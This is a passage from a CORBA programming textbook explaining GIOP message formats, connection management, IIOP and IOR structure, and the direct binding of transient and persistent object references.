By definition, the client is the party that opens a connection, and the server is the party 
that accepts the connection. To invoke an operation on an object, the client opens a 
connection and sends a Request message. The client then waits for a Reply message 
from the server on that connection. 
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If client and server must reverse roles—for example, because the server must invoke a 
callback operation on an object in the client—the server cannot send a request on the 
connection it accepted from the client. Instead, the server must open a separate 
connection for which it acts as the client. This means that GIOP is unidirectional as far as 
client and server roles are concerned.[3]  

[3] With GIOP 1.2, client and server can reverse roles while using a single connection. This is 
particularly important for callback objects provided by applets because the Java sandbox 
prevents opening of a separate connection to an applet. 

To transmit a GIOP message over the wire, the sending side sends a message header, 
followed by a message body (the contents of the message body depend on the exact 
message indicated by the header). Figure 13.3 shows the basic structure of a GIOP 
message.The message header is described in pseudo-IDL: 

Figure 13.3 Basic structure of a GIOP message. 

 
      
module GIOP {       // PIDL 
 struct Version { 
    octet  major; 
    octet  minor; 
    }; 
 
    enum MsgType_1_1 { 
        Request, Reply, CancelRequest, LocateRequest, 
        LocateReply, CloseConnection, MessageError, Fragment 
    }; 
 
    struct MessageHeader_1_1 { 
        char      magic[4];    // The string "GIOP" 
        Version    GIOP_version; 
        octet     flags; 
        octet     message_type; 
        unsigned long  message_size; 
   }; 
   // ... 
}; 
 
     
We show the GIOP 1.1 header here (the 1.0 header is very similar). A message header 
consists of 12 bytes and precedes every GIOP message. Figure 13.4 shows a graphical 
representation of the components of a message header. The layout of a message header is 
as follows. 

Figure 13.4 A GIOP 1.1 message header indicating a Request message in 
big-endian byte ordering and without fragmentation. 
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The first 4 bytes of a message header are always the characters GIOP. These characters 
indicate that the message is a GIOP message and also serve to delineate message 
boundaries. 
 
Bytes 4 and 5 are the major and minor version numbers as 8-bit binary values. Figure 
13.4 shows a GIOP 1.1 header; both major and minor version numbers are 1. 
 
Byte 6 is a flags byte. The least significant bit of the flags byte indicates whether the 
remainder of the message is in big-endian or little-endian encoding: a value of 0 indicates 
big-endian. The second-least significant bit indicates fragmentation. A value of 1 
indicates that this message is a fragment with more fragments to follow. A value of 0 
indicates that this message is a complete message or is the last message in a sequence of 
fragments. 
 
Byte 7 indicates the message type. Its value is the ordinal value of one of the 
MsgType_1_1 enumerators. The value 0 indicates a Request message. 
 
Bytes 8-11 are a 4-byte unsigned value that indicates the size of the message (not 
counting the 12 header bytes). The value is encoded as big-endian or little-endian as 
indicated by the least significant bit of the flags byte. 

13.4.1 Request Message Format 

A Request message consists of three parts, as shown in Figure 13.5. Following the 
GIOP header, a Request message contains a Request header and a Request body. 
The Request header and Request body together form the GIOP message body. The 
Request header has the following definition: 

Figure 13.5 A GIOP Request message. 

 
       
module GIOP {         // PIDL 
 // ... 
 struct RequestHeader_1_1 { 
    IOP::ServiceContextList service_context; 
    unsigned long      request_id; 
    boolean          response_expected; 
    octet          reserved[3]; 
    sequence<octet>  object_key; 
    string         operation; 
    Principal      requesting_principal; 
  }; 
  // ... 
}; 
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The fields of the Request header are as follows. 
 
service_context 
This sequence contains service data that is silently added to each request by the ORB run 
time. Its main use is to propagate information required by some ORB services, such as a 
transaction identifier if the request is made as part of a transaction, or a security context 
for ORBs that implement the OMG Security Service. 
 
request_id 
This field is used by the client to associate the request with its response. The client sets 
the request_id to a unique number when it sends the request. A Reply message also 
has a request_id field; when the server sends the reply for a request, it returns the 
corresponding request_id to the client. In that way, the client can have replies for 
more than one request outstanding at a time. 
 
response_expected 
This field is a Boolean value that is set to true for a normal synchronous request, meaning 
that the client requires a reply for the request. If the operation being invoked by the client 
is a oneway operation, the client-side run time can set this field to false (to indicate to 
the server that no reply is wanted) or to true to allow the client to receive a system 
exception or a LOCATION_FORWARD reply (see Section 13.4.2). 
 
reserved 
These three bytes are reserved for future use and are always set to zero for GIOP 1.1. 
object_key 
The object_key field is the object key of the IOR that was used to invoke the request 
(see Section 2.5.3). It identifies the particular object in the server that the request is 
for. 
 
operation 
This field is a string that contains the name of the operation being invoked. If the client 
sends the request to read or write an attribute, the operation name is 
_get_attribute_name or _set_attribute_name, respectively. 
 
For operations on the Object base interface, the operation names are _interface, 
_is_a, and _non_existent. They correspond to the get_interface, is_a, and 
non_existent operations on Object. Note that there are no operation names defined 
for the other operations on Object—namely, duplicate, release, is_nil, 
is_equivalent, and hash. These operations are always processed by the local ORB 
and never result in a remote message. 
 
requesting_principal 
This field indicates the identity of the calling client for use with the BOA. It is now 
deprecated because the OMG Security Service instead uses the service_context to 
indicate the identity of the caller. 
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The important fields of a Request header are the operation name, which identifies the 
operation or attribute, and the object key, which identifies the target object. The 
remaining data for the request are part of the Request body. 
 
The Request body, which immediately follows the variable-length Request header[3] , 
contains the in and inout parameters for the request, optionally followed by a 
Context pseudo-object. (A Context object is present only if the operation definition 
has a Context clause—see Section 4.13.) The in and inout parameters are 
marshaled as if they were members of a structure containing the leftmost in or inout 
parameter to the rightmost in or inout parameter. For example, consider the following 
operation: 

[3] GIOP 1.2 aligns the Request body on an 8-byte boundary instead. 

       
interface foo { 
   void op( 
     in string  param1, 
     out double param2, 
     inout octet param3 
   ); 
}; 
 
      
The parameters are sent as if they were part of the following structure: 
       
struct params { 
   string param1; 
   octet  param3; 
}; 
 
      
Parameter values for the request are sent as if this structure were encoded according to 
CDR encoding rules. Note that the structure does not contain a member for param2. 
This parameter is missing because it is an out parameter; there is no point in sending an 
out parameter from client to server. 

13.4.2 Reply Message Format 

A server sends a Reply message in response to a client's Request message provided 
that the response_expected flag of the request was set to true. Like a Request 
message, a Reply message consists of three parts, as shown in Figure 13.6. 

Figure 13.6 A GIOP Reply message. 
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Following the GIOP header, a Reply message contains a Reply header and a Reply 
body that immediately follows the header.[4] The Reply header and Reply body 
together form the GIOP message body. The Reply header has the following definition: 

[4] GIOP 1.2 aligns the Reply body on an 8-byte boundary instead. 

       
module GIOP {       // PIDL 
 // ... 
 enum ReplyStatusType { 
   NO_EXCEPTION, USER_EXCEPTION, 
   SYSTEM_EXCEPTION, LOCATION_FORWARD 
 }; 
 
 struct ReplyHeader { 
    IOP::ServiceContextList service_context; 
    unsigned long      request_id; 
    ReplyStatusType reply_status; 
    }; 
   // ... 
}; 
 
      
The fields of the ReplyHeader are as follows. 
 
service_context 
As with a Request header, this field is used to transparently propagate implicit context 
information required by ORB services such as the Security and Transaction Services. 
 
request_id 
The request_id field returns the ID of the corresponding request to the client. The 
client uses it to associate replies with requests. This allows the client to have several 
replies outstanding simultaneously. The server need not send replies in the same order in 
which it receives requests because some requests may take longer to complete than others. 
 
reply_status 
The reply_status field indicates the result of the request. 
 
NO_EXCEPTION 
This indicates that the request completed successfully. 
 
USER_EXCEPTION 
The request raised a user exception. 
 
SYSTEM_EXCEPTION 
The server-side ORB or the server-side application code raised a system exception. 
 
LOCATION_FORWARD 
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This reply indicates that the request cannot be processed by this server, but the client 
should try again at a different address. We discuss the use of this message in Section 
14.4.5. 
 
The reply_status field also determines how the Reply body is interpreted by the 
client. If the operation completed successfully, the Reply body contains the return value, 
followed by all out and inout parameters for the operation. As with a Request body, 
the return value and parameters are encoded as if they were members of a structure. If 
reply_status indicates a user exception, the Reply body contains the repository ID 
of the exception, followed by the data members of the exception. If the request raised a 
system exception, the Reply body contains the repository ID of the system exception 
and its minor code and completion_status. If reply_status is 
LOCATION_FORWARD, the Reply body contains an object reference that the client can 
use to retry the request. 

13.4.3 Other Message Formats 

The remaining six message formats either are control messages or are provided to permit 
optimizations. Because they are not relevant to the basic remote procedure call 
mechanism, we touch on them here only briefly (see [18] for more information). 
 
CancelRequest 
With this request, a client can inform a server that it has lost interest in the results of an 
operation. A client can use this request if, for example, a user cancels a long-running 
operation. Note that a CancelRequest never aborts an operation implementation 
while it is executing. Instead, it simply informs the server that it need not bother to send 
any reply when the operation has completed. 
 
LocateRequest 
Clients can use this request to get the current addressing information for an object. The 
LocateRequest message and the corresponding LocateReply message can reduce 
the overhead of locating an object (see Section 14.4.6 on page 644). 
 
LocateReply 
This is the reply sent by a server in response to LocateRequest message. 
 
CloseConnection 
A CloseConnection message from a server informs the client that the server is about 
to close the connection. If the client wants to communicate with the server again later, it 
must open a new connection to the server. Typically, a server sends this message if too 
many clients are connected and the server is about to reach its incoming connection limit. 
 
The CloseConnection message is required because without it, clients could not 
distinguish intentional shutdown from disorderly shutdown: if the server were to simply 
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close its connection, the client would conclude that the server had crashed and would 
raise an exception in the client application code.[5]  

[5] In GIOP 1.2, a CloseConnection message can also be sent from client to server. 

MessageError 
This message is sent in response to any GIOP message that is malformed in some way. 
For example, MessageError is returned if a GIOP message contains the wrong magic 
value (a string other than GIOP in the first four bytes) or if the GIOP version number is 
unknown to the receiver. 
 
Fragment 
If a GIOP 1.1 client decides to send messages in fragments, the first fragment is a 
Request message with the fragment flag set to true. The remainder of the request is 
sent by the client in Fragment messages. Each fragment contains more data for the 
request, together with a flag that indicates whether more fragments are to follow. While 
there are more fragments to follow, the flag is true. The final Fragment message in a 
series of fragments sets this flag to false to indicate that the server has received the last 
fragment and can now start processing the request. 

13.5 GIOP Connection Management 

The interaction model seen by CORBA clients and servers is connectionless; a client 
simply sends a request whenever it feels like it, and the request causes a virtual function 
to be called in the server. Neither client nor server application code ever opens or closes a 
connection. However, GIOP requests are dispatched over a connection-oriented transport, 
so the CORBA run-time environment must take care of managing connections on behalf 
of clients and servers. 
 
The CORBA specification does not require any particular connection management 
strategy for ORBs. Instead, GIOP specifies just enough about connection management to 
enable interoperability among implementations, and it provides sufficient hooks in the 
protocol to allow an ORB vendor to choose between simple and sophisticated connection 
management strategies. 
 
On the client side, an ORB has considerable choice as to how it manages connections 
from clients to servers. For example, a simple-minded (and unrealistic) ORB could 
simply open and close a separate connection for every request made by a client. This 
would be a prohibitively slow (but compliant) implementation. A typical problem for 
ORBs is what to do if a client exceeds the number of connections that the operating 
system is willing to allocate to it. Depending on the vendor, the ORB might simply raise 
an exception to the application code when it runs out of connections, whereas a more 
sophisticated ORB might multiplex requests onto fewer connections than the number of 
target servers by dynamically opening and closing connections as necessary. 
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On the server side, a similar problem presents itself to the ORB. If there are more clients 
who want to communicate with a server than the number of available connections, the 
server-side run time may simply stop accepting connections. In that case, clients receive a 
TRANSIENT exception when the TCP/IP connection timer expires. A more sophisticated 
ORB would send CloseConnection messages to clients that do not have outstanding 
requests and thereby reclaim idle connections for use with other clients.[6]  

[6] Note that the number of clients that can concurrently have a request in progress is limited 
by the number of connections available to the server. GIOP does not permit a server to close a 
connection while a request is outstanding on that connection. 

The specification leaves a wide range of choices open to ORB implementers to avoid 
restricting the environments in which ORBs can be used. For example, if CORBA were 
to require a complicated strategy for reusing connections, it would penalize an ORB that 
runs in an environment where connections are available in large numbers (the ORB 
vendor would have to implement the strategy without any real benefit). Conversely, an 
ORB may need to run in an embedded environment where connections are at a premium. 
In that case, the vendor can implement a strategy that aggressively reuses connections at 
the cost of sacrificing some performance. 
 
In practice, most general-purpose ORBs open a connection when a client first uses an 
object reference to an object in a particular server, and they close the connection when 
the reference count on the proxy for the target object drops to zero. If a client holds 
multiple references to objects in the same server, most ORBs multiplex requests to all 
objects in that server over the same single connection. This means that the client uses 
only as many connections as there are distinct server processes it communicates with. On 
the server side, many ORBs simply give up and stop accepting connection requests when 
the server reaches its connection limit. Other ORBs use the CloseConnection 
message to reclaim idle connections. If you are planning to use a large number of clients 
(more than 100 or so) with the same server simultaneously, you should ask your ORB 
vendor about the connection management strategy for the server side. 

13.6 Detecting Disorderly Shutdown 

In Section 13.4.3, we mention that a server sends a CloseConnection message if 
it wants to close a connection. This means that a client can always distinguish orderly 
connection shutdown from disorderly connection shutdown. If the client-side run time 
encounters a broken connection without having first received a CloseConnection 
message, it can conclude either that the server has crashed or that connectivity is lost. In 
either case, it raises a system exception to the client application code, possibly after 
attempting to rebind first.[7]  

[7] At least, that is the theory. In practice, we have seen defective implementations of TCP/IP 
that do not reliably report disorderly connection closure on non-UNIX platforms. 

However, the same is not true for the server. If a client decides that it is finished with a 
server (typically because the reference count on the last proxy to an object in the server 
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drops to zero), the client simply closes the connection without first sending a message. 
This means that the server simply sees a closed connection. The server cannot distinguish 
orderly connection closure from disorderly closure. For example, if the client crashes, the 
server just sees a closed connection but does not know why the connection was closed. 
(With GIOP 1.2, sending a CloseConnection message to indicate orderly connection 
closure is mandatory for both client and server. This mitigates, but does not eliminate, the 
problems we discuss in the remainder of this section.) 
 
This has important ramifications for garbage collection and the life cycle of objects. 
Frequently, a server offers a factory operation to clients. Clients can create new objects in 
the server by invoking an operation and can later destroy the objects by invoking another 
operation (typically, by calling destroy or CosLife-Cycle::remove). A problem 
arises if a client crashes after it has created an object and therefore never gets around to 
deleting the object again. There is no way for the server to know whether the client has 
gone away permanently or simply has closed the connection temporarily because it is 
short of connections. This means that the server must keep the object alive because the 
server cannot know whether the object is still of interest to the client. 
 
Some ORBs offer an API call that allows a server to monitor the state of network 
connections. If a network connection closes, the ORB invokes a callback function in the 
server application code. This gives the server an opportunity to clean up objects it has 
created on behalf of a client. However, any such strategy is fraught with problems. For 
one thing, the server must somehow be able to associate the closed connection with a 
particular client in order to determine which objects it should destroy. Second, because 
there is no CloseConnection message in GIOP from client to server (except for 
GIOP 1.2), monitoring of network connections makes assumptions about the connection 
management used by the client. In effect, the server assumes that if a client closes a 
connection, it means that the server can clean up the objects created by that client. This is 
not a valid assumption. For example, if the client is written using a different vendor's 
ORB, it may use an aggressive connection reuse strategy. In that case, the client might 
deliberately close a connection, but the server would conclude that the client has crashed 
and mistakenly destroy the objects created by the client. 
 
If you decide to use extensions provided by your ORB vendor to monitor connection 
closure, be aware that you are outside the guarantees provided by the GIOP specification. 
If you know that clients will be written using the same vendor's ORB, things will work 
fine. But keep in mind that using connection closure for garbage collection relies on 
proprietary extensions and may not work with clients using another ORB. We discuss 
other, more portable strategies for garbage collection in Chapter 12. 

13.7 An Overview of IIOP 

GIOP specifies most of the protocol details that are necessary for clients and servers to 
communicate. GIOP is independent of a particular transport and is therefore an abstract 
protocol, whereas IIOP is specific to TCP/IP and is therefore a concrete implementation 
(or mapping) of GIOP. To turn GIOP into a concrete protocol, IIOP merely needs to 
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specify the encoding of IORs. Recall from Section 2.5.3 that an IOR consists of three 
main components: the repository ID, the endpoint information, and the object key. IIOP 
merely specifies how an IOR encodes the TCP/IP addressing information inside an IOR, 
so the client can establish a connection to the server to send a request. 
 
Like GIOP, IIOP has been revised twice since its inception, so CORBA specifies IIOP 
1.0, 1.1, and 1.2. IIOP 1.1 adds the notion of tagged components to an IOR. Tagged 
components are required to support some of the newer features of CORBA, such as 
support for different wide character codesets. IIOP 1.2 supports the bidirectional 
functionality of GIOP 1.2. 
 
Any version of IIOP references can be carried over any version of GIOP. However, for 
bidirectional functionality to be available, IIOP 1.2 requires GIOP 1.2 or later. 
 
The endpoint information inside an IOR that uses IIOP is encoded according to the 
following IDL: 
      
module IIOP {            // PIDL 
 struct Version { 
    octet   major; 
    octet   minor; 
 }; 
 
 struct ProfileBody_1_1 { 
    Version              iiop_version; 
    string              host; 
    unsigned short         port; 
    sequence<octet>      object_key; 
    sequence<IOP::TaggedComponent> components; 
   }; 
}; 
 
     
We show the version 1.1 and 1.2 definition here (the 1.0 definition is identical except that 
it does not use tagged components). A structure of type ProfileBody_1_1 
completely identifies the target object of a request: both the host and port at which the 
server can be found and the object in that server the request is for. 
 
The iiop_version field indicates the major and minor revision of the protocol. 
 
The host and port fields specify the host and port number at which the server listens 
for requests. The host can be encoded either in dotted-decimal notation (such as 
234.234.234.234) or as a host name (such as acme.com). 
 
The object_key field is a sequence of octets that identifies the particular target object. 
The components field contains a sequence of tagged components (for IIOP 1.1 only). 
Each tagged component is a structure containing two fields. The first field identifies the 
type of component, and the second one contains the data for that component (see page 
628). 



IT-SC book: Advanced CORBA® Programming with C++ 

 545

A structure of type ProfileBody_1_1 applies only to IIOP and encodes how a client 
can locate the target object of a request. If a server uses IIOP as its transport, object 
references created by that server contain an IIOP profile body. To establish a connection, 
the client side decodes that profile body and uses the host and port number to establish a 
connection to the server. Having established a connection, the client sends the object key 
with every request. In other words, the host and port identify the target server, and the 
object key is decoded by the server to determine which specific object should receive the 
request. 

13.8 Structure of an IOR 

CORBA uses interoperable object references as the universal means of identifying an 
object. As mentioned in Section 2.5.1, object references are opaque to the client-side 
application code and completely encapsulate everything that is necessary to send requests, 
including the transport and protocol to be used. 
 
IIOP is the main interoperable protocol used by CORBA, and every ORB claiming 
interoperability must support IIOP. CORBA also specifies another protocol, known as the 
DCE Common Inter-ORB Protocol (DCE-CIOP). This protocol is optional (interoperable 
ORBs need not support it) and uses DCE-RPC as its underlying transport. 
 
DCE-CIOP is an example of what is known as an environment-specific inter-ORB 
protocol (ESIOP). Environment-specific protocols permit use of CORBA over transports 
and protocols other than TCP/IP and permit vendors to support proprietary protocols that 
are optimized for particular environments. As CORBA evolves, we will see support for 
other transports and protocols. For example, it is likely that a future version will support 
connection-oriented GIOP over ATM networks and also allow use of connectionless 
transports such as UDP. 
 
This means that object references must be extensible so that future protocols can be 
added without breaking existing clients and servers. CORBA specifies an encoding for 
IORs that meets this requirement. Not only can IORs be extended to carry protocol 
information for future protocols, but also it is possible for vendors to add their own 
proprietary protocols. In addition, a single IOR can contain information for multiple 
protocols. For example, an IOR can contain both IIOP and DCE-CIOP information 
simultaneously. In that way, clients that are limited to DCE-CIOP can use the same IOR 
to communicate with an object that clients that are limited to IIOP can use. If a client has 
access to both transports simultaneously, the ORB run time dynamically chooses which 
transport to use for a request. 
 
An IOR can also contain multiple profile bodies for the same protocol. For example, an 
IOR could contain three IIOP profiles, each indicating a different host and port number. 
When a client invokes a request via the IOR, the ORB run time dynamically chooses one 
of the three server endpoints indicated in the IOR. This provides a hook for load 
balancing as well as fault-tolerant ORBs that replicate the same single CORBA object in 
multiple server processes.[8]  
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[8] The OMG has taken the first steps to standardize fault tolerance (see [22]). 

The CORBA specification uses pseudo-IDL to define how an IOR encodes the 
information required to send a request to the correct target object: 
      
module IOP {       // PIDL 
 typedef unsigned long  ProfileId; 
 const ProfileId     TAG_INTERNET_IOP = 0; 
 const ProfileId     TAG_MULTIPLE_COMPONENTS = 1; 
 
 struct TaggedProfile { 
    ProfileId       tag; 
    sequence<octet> profile_data; 
 }; 
 
    struct IOR { 
       string                     type_id; 
       sequence<TaggedProfile> profiles; 
    }; 
 
    typedef unsigned long   ComponentId; 
    struct TaggedComponent { 
       ComponentId  tag; 
       sequence<octet> component_data; 
     }; 
     typedef sequence<TaggedComponent> MultipleComponentProfile; 
}; 
 
     
At first glance, this is intimidating, but things are not quite as bad as they look. The main 
data type in this IDL is struct IOR, which defines the basic encoding of an IOR as a 
string followed by a sequence of profiles. The type_id string provides the interface 
type of the IOR in the repository ID format we discuss in Section 4.19. The 
profiles field is a sequence of protocol-specific profiles, usually one for each protocol 
supported by the target object. For example, an IOR for an object that can be reached 
either via IIOP or via DCE-CIOP has two elements in the profiles sequence. Figure 
13.7 shows the main structure of an IOR. 

Figure 13.7 Main structure of an IOR. 

 
To illustrate, an IOR for the controller in our climate control system contains a repository 
ID with value IDL:CCS/Controller:1.0. Assuming that the ORB used to 
implement the controller object supports only IIOP, the repository ID is followed by a 
single profile containing a structure of type TaggedProfile. A tagged profile contains 
a tag field and an octet sequence that contains the profile body identified by the tag. In 
the case of IIOP 1.1, the tag is TAG_INTERNET_IOP (zero), and the profile_data 
member encodes a structure of type IIOP::ProfileBody as shown in Section 
13.7. 
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The OMG administers the namespace for tag values. To support a proprietary protocol, a 
vendor can request assignment of one or more tag values for its exclusive use. The tag 
value determines the format of the profile data, so vendors can use an exclusive tag to 
indicate a vendor-specific profile that encodes the addressing information for a 
proprietary protocol. Clients attempt to decode the profile information only for those tags 
they know about and ignore all other profiles. In that way, proprietary protocol 
information inside an IOR does not compromise interoperability. As long as the IOR 
contains at least one IIOP profile, any interoperable ORB can use the IOR. 
 
If an IOR profile has the tag TAG_MULTIPLE_COMPONENTS, the profile_data 
field contains a sequence of type MultipleComponentProfile. Multiple 
component profiles themselves have internal structure, which is encoded as a sequence of 
structures of type TaggedComponent. As for profile tags, the OMG also administers 
the namespace for component tags, so vendors can encode proprietary information in an 
IOR without compromising interoperability. 
 
Multicomponent profiles are used for service-specific information. For example, ORBs 
that support the OMG Security Service add a component to every IOR that describes 
which security mechanism is to be used to secure a request. Another component is used 
to describe which codeset is to be used for requests containing wide characters. 
 
One of the components specified by CORBA encodes the ORB type. The ORB type 
describes the specific ORB vendor and ORB version that was used to create the IOR (not 
all ORBs use this component). The ORB type component enables a number of 
optimizations. Specifically, if an IOR contains the ORB type, a client can determine 
whether the IOR was created by the same ORB as the one used by the client. If it was, the 
client knows how to decode the proprietary parts of the IOR because the IOR was created 
by the same ORB. The proprietary part of the IOR in turn can contain information to 
optimize communication between client and server (we show some of these optimizations 
in Section 14.4.6). 

13.9 Bidirectional IIOP 

As mentioned in Section 13.4, CORBA 2.3 added GIOP 1.2 and IIOP 1.2 to enable 
bidirectional communication. This allows client and server to reverse roles without the 
need to open a separate connection that may be blocked by a firewall. At the time of 
writing, the specification is undergoing changes, and implementations are unlikely to 
appear before mid-1999, so we do not cover version 1.2 in detail in this chapter. Here is a 
summary of the major changes. 
 
GIOP 1.2 does not add new message types but adds extensions to most of the message 
headers and bodies. These extensions support the additional information that must be 
exchanged for bidirectional communication. 
 
GIOP 1.2 adds a LOCATE_FORWARD_PERM reply status, which is intended to ease 
object migration (see Section 14.5). 
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GIOP 1.2 tightens the alignment restrictions for a request body to make remarshaling 
after a LOCATE_FORWARD reply more efficient. 
 
IIOP 1.2 adds additional information to the service context to support bidirectional 
communication. It also defines a policy that enables bidirectional communication only if 
both client and server agree to use it. This policy allows administrators to disable 
bidirectional communication over insecure links and thereby prevent clients from 
masquerading as someone else's call-back object. If bidirectional communication is 
disabled, GIOP 1.2 uses a separate connection for callbacks. 

13.10 Summary 

GIOP specifies the on-the-wire representation of data and the messages that are 
exchanged between clients and servers. IIOP adds the specific information required for 
ORBs to interoperate via TCP/IP. All interoperable ORBs support IIOP. In addition, 
ORBs may support DCE-CIOP or proprietary protocols. 
 
IORs contain the interface type of an object and one or more protocol profiles. Each 
profile contains the information required by a client to send a request using a specific 
protocol. A single IOR can contain addressing information for several protocols 
simultaneously. This arrangement allows a single CORBA object to be reached via 
different transports and also provides a basic protocol hook for fault-tolerant ORBs. 
 
An IIOP 1.1 profile can contain a number of tagged components. Components encode 
additional information; for example, they can identify the codeset or security mechanism 
to be used for a request. Vendors can add proprietary components to IORs to support 
value-added features or optimizations. 
 
CORBA defines a particular component that identifies the ORB vendor and ORB version. 
If this component is present in an IOR, clients can detect whether both client and server 
use the same ORB. If they do, clients can take advantage of this knowledge to optimize 
communication with the server. 
 
GIOP 1.2 and IIOP 1.2 permit clients and servers to communicate across firewalls over a 
single connection. 
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Chapter 14. Implementation Repositories 
and Binding 

14.1 Chapter Overview 

This chapter presents a detailed picture of what happens beneath the covers of an ORB. 
In particular, this chapter shows how a client establishes connections to the servers it 
needs to access. Sections 14.2 to 14.4 discuss different modes of binding and explain 
the role of the implementation repository during binding and automatic server start-up. 
Section 14.5 discusses the design choices available for implementation repositories 
and explains how these choices affect object migration as well as reliability, performance, 
and scalability of an ORB. Sections 14.6 and 14.7 discuss the various activation 
modes for servers, and Section 14.8 concludes the chapter by discussing some of the 
security issues surrounding implementation repositories. 

14.2 Binding Modes 

In Chapter 13, we discuss how clients send requests to servers and receive replies via a 
connection-oriented protocol such as TCP/IP, but we largely skip over the issues of how 
a client can establish a connection to the correct server and how a server associates 
incoming requests with its servant. This process of opening a connection and associating 
an object reference with its servant is known as binding. 
 
CORBA offers a large amount of flexibility in the way an ORB implements binding. 
Different ORBs offer different options, and, in general, the design of binding algorithms 
has profound influence on an ORB's flexibility, performance, and scalability. 
 
ORBs typically support two binding modes: direct binding and indirect binding. Direct 
binding is supported by all ORBs. Indirect binding relies on an external location broker 
known as an implementation repository and is an optional component of CORBA (most 
general-purpose ORBs have an implementation repository). The implementation 
repository can provide additional features, such as server migration, object migration, 
automatic server start-up, and load balancing. The precise set of features of the 
implementation repository depends on the ORB vendor and the anticipated deployment 
environment of the ORB. 
 
Both direct and indirect binding are protocol-specific. In particular, the addressing 
information embedded in an IOR depends on the underlying transport. For the remainder 
of this discussion, we assume that IIOP is used. 

14.3 Direct Binding 
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Whenever a server application creates an object reference, the server-side run time 
embeds information to support binding inside the object reference. Specifically, an IOR 
contains an IP address (or host name), TCP port number, and an object key. If a server 
inserts its own address and port number into a reference, the reference uses direct binding. 
An ORB can use direct binding for both transient and persistent references. As you saw 
in Section 11.4.1, a transient IOR continues to work only for as long as its associated 
POA exists. After the POA is destroyed or its server shuts down, a transient reference 
becomes permanently non-functional; it never works again even if its POA is re-created 
or its server is restarted. Conversely, a persistent IOR continues to denote the same object 
even if the server shuts down and is restarted. 

14.3.1 Direct Binding for Transient References 

Transient references always rely on direct binding.[1] When a server creates an IOR using 
a POA with a TRANSIENT life span policy, the server-side run time embeds binding 
information in the IOR. 

[1] The CORBA specification does not require this, so transient references could also use 
indirect binding. However, no ORB we are aware of actually does this, because indirect binding 
for transient references complicates the ORB without providing any benefits. 

The address and port number in the profile body are set to the server's own address and 
port number. 
 
The object key of the IOR is set to contain two elements. 
 
The name of the POA used to create the IOR. 
 
Transient POAs must have names that are unique in space and time among all other 
POAs in an ORB domain. To enforce this, the ORB can prefix a unique identifier to the 
POA name when a transient POA is created. For example, the ORB can use a universally 
unique identifier (UUID) to ensure that no transient POA can ever have a name that was 
used for another transient POA at some time in the past. 
 
An object ID that is unique within the scope of the associated POA. 
 
Because the object ID need be unique only within the scope of its POA, ORBs, for 
example, can keep a counter in each POA using the TRANSIENT policy. The counter is 
incremented for every new reference created by this POA, so all IORs for this POA carry 
a different object ID. The ORB is not obliged to use a counter and can use some other 
strategy to generate unique object IDs. 
 
When a client receives a transient reference and invokes the first request, the client-side 
run time extracts the address and port number from the profile body of the IOR and 
attempts to open a connection. This connection attempt can encounter one of the 
following cases. 
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The server is running at the host and port indicated by the reference. 
 
In this case, the client sends a request message to the server. The request message 
contains the object key. The object key consists of (among other things) the POA name 
and the object ID. The server uses the POA name to locate the appropriate POA, and the 
POA uses the object ID to locate the appropriate servant. If both POA and servant exist 
(or can be activated), binding succeeds and the request is dispatched to the servant. 
 
No process is listening at the host and port indicated by the reference. 
 
The client's attempt to open a connection to the server fails, and the client-side run time 
raises a TRANSIENT exception in the application. 
 
The original server that created the reference was shut down, and a different server has 
since been started at the same port as the original server. 
 
In this case, the client sends the request to the server that is listening at the port. The 
server receives the request and attempts to locate a POA with a matching name. However, 
because all transient POAs have unique names, the POA name in the object key does not 
match any of the server's POA names. Accordingly, the server returns an 
OBJECT_NOT_EXIST exception to the client, and binding fails, as it should. 
 
The original server was shut down but later was restarted and happened to get the same 
port number. 
 
Even though the same server is listening at the same address as originally, binding must 
fail because a transient reference is valid only for the lifetime of its POA. Again, the 
client sends the request to the server after opening the connection. However, the POA 
name in the object key is guaranteed not to match any of the POA names used by the 
server. Even if the server code creates a transient POA with the same name as that of a 
previous transient POA, the ORB enforces uniqueness of the transient POA name by 
prefixing a UUID (or a similar pseudo-random identifier) to the name. The POA name 
mismatch results in the server sending an OBJECT_NOT_EXIST exception to the client, 
and binding fails, as it should. 
 
In summary, binding of transient references relies on the actual host address and port 
number of the server. If the server is still running at that address and port number when 
the client invokes a request, binding succeeds. If the server is no longer running, the 
client-side run time raises a TRANSIENT exception. If another server instance is running 
at that address and port number, the server receiving the request returns an 
OBJECT_NOT_EXIST exception to the client because the POA name in the object key 
does not match any of the server's POA names. 

14.3.2 Direct Binding of Persistent References 
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An ORB has many different options for how to make object references persistent. The 
simplest mechanism relies on direct binding. 
 
When a server creates a reference using a POA that has a PERSISTENT life span policy, 
the ORB run time creates a profile body for the IOR that contains the server's address and 
port number. However, because the reference uses a persistent POA, the ORB does not 
make its name unique by adding a UUID. Instead, it uses the POA name that was 
specified by the application when it created the POA. 
 
Binding of the reference now proceeds exactly as with transient references. The client 
connects to the address and port number found in the reference and sends a request. 
Provided that the server is running at the correct address, the request is bound to the 
correct servant. Direct binding for persistent references relies on the following. 
 
The server must always use the same name for the same POA when it creates the POA. 
The server must always use the same object ID for a particular CORBA object when it 
creates an IOR for that object. 
 
The server must always start up on the same host and port number. 
 
You can easily take care of the first two points by using the same POA name and object 
ID when you create a POA or an IOR. However, CORBA does not specify how to 
enforce the third point, so how you instruct a server to always start on the same host and 
port varies from ORB to ORB. Typically, the ORB allows you to pass a port number as a 
command-line argument to the server. The port number is made known to the server-side 
run time via ORB_init, so the run time can arrange for the server to connect to the 
specified port. Some ORBs also allow you to use a configuration utility to store the port 
number that a server should use. 
 
Direct binding of persistent references is simple and efficient. Because an IOR directly 
contains the host and port number of the server, the client can open a connection directly 
to the server without incurring any additional overhead. However, direct binding of 
persistent references also has some drawbacks. 
 
You cannot start the server on a different host without breaking references to persistent 
objects in the server held by clients. Every reference contains the host domain name or IP 
address; if the server is moved to a host having a different domain name or a host having 
a different IP address, clients using a reference created while the server was running on 
its previous host can no longer bind requests. 
 
The server must listen for requests on a fixed port that must be assigned to the server 
once and cannot be changed thereafter without breaking references. This requirement in 
itself is not bad, but it causes administrative problems in large installations because 
manual administration of port numbers is cumber-some. 
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The server must be running when a client sends a request. If the server is down, binding 
fails. 
 
The inability to move servers from host to host is a major drawback in many deployment 
scenarios. For example, as an ORB installation evolves, it may be desirable to move a 
server from one machine to another simply to achieve a better distribution of processing 
load. If persistent references rely on direct binding, this optimization is impossible. 
 
Direct binding requires servers to be running when clients want to use them, and there is 
no way to automatically start a server on demand when a request arrives. This 
requirement can be a problem, particularly in large installations that contain many servers. 
Even idle servers consume operating system resources such as swap space, network 
connections, page table entries, file descriptors, process table entries, and so on. For this 
reason, direct binding of persistent references is usually used only in special-purpose 
